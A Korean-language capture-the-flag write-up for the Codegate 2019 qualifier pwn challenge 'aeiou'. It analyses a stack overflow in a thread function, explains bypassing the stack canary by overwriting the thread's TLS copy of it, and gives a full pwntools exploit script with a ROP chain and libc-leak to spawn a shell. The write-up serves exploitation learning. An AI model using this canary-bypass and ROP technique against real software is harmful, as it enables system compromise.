올 해 코게 예선 포너블 문제 중 하나다.
트릭?이라면 트릭이고..아니라면 아니고 일단 라이브러리 내부 분석을 해 봐야 풀 수 있는 문제다.
Mitigation
[*] '/home/agh04140/pwn/codegate/2019/aeiou/aeiou'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
pie 빼고 다 걸려있다.
Analyzing
void __fastcall main(__int64 a1, char **a2, char **a3) { int v3; // [rsp+4h] [rbp-Ch] unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); malloc(0x400uLL); setbuf(stdin, 0LL); setbuf(stdout, 0LL); putchar(10); puts(" Raising a Baby"); puts("-------------------------------------"); puts(" [1] Play with Cards"); puts(" [2] Clearing the Cards"); puts(" [3] Teaching numbers"); puts(" [4] Sleeping the Baby"); puts(" [5] Dancing with Baby!"); puts(" [6] Give the child blocks!"); puts(" [7] Sleep me"); puts("--------------------------------------"); printf(">>", 0LL); _isoc99_scanf("%d", &v3); putchar(10); switch ( v3 ) { case 1: getchar(); play(); // trash break; case 2: getchar(); clear(); // trash break; case 3: getchar(); teaching_num(); break; case 4: getchar(); sleeping(); // trash goto LABEL_6; case 5: LABEL_6: getchar(); dancing(); // trash break; case 6: getchar(); give_blocks(); // trash break; case 7: puts("Okay.."); break; default: break; } puts("Bye"); }
|
|
사실 분석이라고 할 것도 없는게 custom unlink문제이거나, 레컨문제처럼 만들어 놨지만 main에서 함수들을 call할 때 loop를 돌리지 않는다.
그래서 한 번에 익스를 할 수 있는 벡터를 찾아야 한다.
근데 저기 주석으로 trash라고 해 놓은 곳들은 정말 아무 의미가 없거나, loop를 돌았다면 의미가 있었을 함수들이다.
즉 지금은 아무 의미가 없다.
void __cdecl teaching_num() { pthread_t newthread; // [rsp+0h] [rbp-10h] unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); pthread_create(&newthread, 0LL, teach_num, 0LL); if ( pthread_join(newthread, 0LL) ) puts("oooooh :("); }
|
|
남은 건 teaching_num 함수 하나인데 여기서 이렇게 쓰레드를 열어주고 teach_num함수를 실행시킨다.
void __fastcall teach_num(void *a1) { signed __int64 num; // [rsp+8h] [rbp-1018h] char s[4104]; // [rsp+10h] [rbp-1010h] unsigned __int64 v3; // [rsp+1018h] [rbp-8h] v3 = __readfsqword(0x28u); memset(s, 0, 0x1000uLL); puts("Hello!"); puts("Let me know the number!"); num = get_int(); if ( num <= 0x10000 ) { read_buf(0, s, num); puts("Thank You :)"); } else { puts("Too much :("); } }
|
|
여기서 대놓고 bof가 발생하는 걸 확인할 수 있다.
문제점이라면 canary가 걸려있다는 점이다.
Scenario
이제 canary만 우회할 수 있다면 마음대로 flow를 control할 수 있게 될 것 같은데, 한 가지 의심스러운 곳은 굳이 쓰레드를 열어줬다는 점이다.
대회 당시에는 stack_chk_fail 함수가 call되지 않는다는 점만 알아내고 못 풀었지만, 지금에 와서 다시 분석을 해봤더니 재밌는 점을 발견했다.
Dump of assembler code for function __pthread_create_2_1: 0x00007fa3d90a6990 <+0>: push rbp 0x00007fa3d90a6991 <+1>: mov rbp,rsp . . .
0x00007fa3d90a6e11 <+1153>: mov rcx,QWORD PTR fs:0x28 0x00007fa3d90a6e1a <+1162>: mov QWORD PTR [r13+0x28],rcx 0x00007fa3d90a6e1e <+1166>: mov rcx,QWORD PTR fs:0x30 0x00007fa3d90a6e27 <+1175>: mov QWORD PTR [r13+0x30],rcx 0x00007fa3d90a6e2b <+1179>: mov ecx,DWORD PTR fs:0x308 0x00007fa3d90a6e33 <+1187>: mov DWORD PTR [r13+0x614],ecx 0x00007fa3d90a6e3a <+1194>: mov ecx,DWORD PTR [r12+0x8] . . .
|
|
그것은 바로 쓰레드를 생성해줄 때 fs 세그먼트들을 전부 어떤 영역에 옮겨주는 걸 확인할 수 있는데 이 영역이 바로 쓰레드가 열린 이후 쓰레드가 사용할 스택 영역이라는 점이다.
그리고 pthread_create함수를 glibc에서 C코드로 좀 보다보면 stack_guard를 옮기는 것 처럼 보이는 함수가 있는데, 아마 이 부분이 저렇게 쓰여진 것 아닐까싶다.
근데 canary는 fs:0x28에서 참조되니까, 아까 존재했던 bof로 fs:0x28이 옮겨졌던 그 부분만 아다리를 맞춰서 잘 덮어주면 canary에 상관없이 flow를 control할 수 있다는 말이 된다.
이제 바로 익스를 하면 된다.
Exploit
from pwn import * p = process('./aeiou') e = ELF('./aeiou') lib = ELF('/lib/x86_64-linux-gnu/libc.so.6') prdi = 0x004026f3 bss = e.bss() leave_ret = 0x00401573 prsi = 0x004026f1 #0x7f4814aa2728 #0x7f4814aa0f40 pay = 'A'*0x1008 pay += 'fuckfuck' pay += p64(bss - 8) pay += p64(prdi) pay += p64(e.got['__libc_start_main']) pay += p64(e.plt['puts']) pay += p64(prdi) pay += p64(0) pay += p64(prsi) pay += p64(bss)*2 pay += p64(e.plt['read']) pay += p64(leave_ret) pay = pay.ljust(0x17e8) pay += 'fuckfuck' sla = p.sendlineafter sa = p.sendafter s = p.send sl = p.sendline pause() sla('>>', '3') sla('number!', str(0x17f0)) s(pay) libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - lib.symbols['__libc_start_main'] binsh = libc_base + 0x18cd57 system = libc_base + lib.symbols['system'] print 'libc_base : 0x%x' %libc_base #s(p64(prdi) + p64(binsh) + p64(system)) s(p64(libc_base + 0x4526a)) p.interactive()
|
|
일반적인 rop + leave_ret으로 풀어주면 된다.
요즘은 일반적인 문제 말고 이런(라이브러리를 봐야 하는?)문제가 조금 더 재밌는 것 같다.